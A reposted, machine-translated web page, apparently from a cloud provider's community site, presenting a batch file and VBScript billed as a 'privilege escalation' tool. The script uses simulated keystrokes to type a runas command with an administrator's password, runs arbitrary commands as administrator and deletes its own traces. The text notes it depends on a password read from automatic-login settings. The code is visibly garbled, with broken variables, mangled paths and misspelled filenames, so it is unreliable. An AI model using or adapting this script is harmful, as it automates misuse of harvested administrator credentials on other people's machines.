VBS Privilege Escalation script (rare in the market)

Source: Internet
Author: User

@ Echo off
Echo dim WshShell, cmd >>% 3runas. vbs
Echo cmd = "%systemroot=system32cmd.exe"> % 3runas. vbs
Echo Set WshShell = WScript. CreateObject ("WScript. Shell") >>%3runas. vbs
Echo WshShell. Run cmd> % 3runas. vbs
Echo WScript. Sleep 500 >>%3runas. vbs
Echo WshShell. SendKeys "runas/user: Administrators \ % 1% 3Bcmd. bat" >>%3runas. vbs
Echo WshShell. SendKeys "{ENTER}" >>%3runas. vbs
Echo WScript. Sleep 1000 >>%3runas. vbs
Echo WshShell. SendKeys "% 2"> % 3runas. vbs
Echo WshShell. SendKeys "{ENTER}" >>%3runas. vbs
Echo WScript. Sleep 500 >>%3runas. vbs
Echo WshShell. SendKeys "exit"> % 3runas. vbs
Echo WshShell. SendKeys "{ENTER}" >>%3runas. vbs
Echo @ echo off> % 3Bcmd. bat
Echo % 4% 5% 6% 7% 8% 9 >>% 3Bcmd. bat
Echo del % 3runas. vbs >>%3bcmd. bat
Echo del % 3Bcmd. bat> % 3Bcmd. bat
% 3unas. vbs
Save as BAT
Dim WshShell, cmd
Cmd = "cmdsystemrootcmdsystem32cmd.exe"
Set WshShell = WScript. CreateObject ("WScript. Shell ")
WshShell. Run cmd
WScript. Sleep 500
WshShell. SendKeys "runas/user: Administrators username and password command"
WshShell. SendKeys "{ENTER }"
WScript. Sleep 1000
WshShell. SendKeys "% 2"
WshShell. SendKeys "{ENTER }"
WScript. Sleep 500
WshShell. SendKeys "exit"
WshShell. SendKeys "{ENTER }"
Save as VBS

Runas
It is only useful when the password is read through automatic login

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.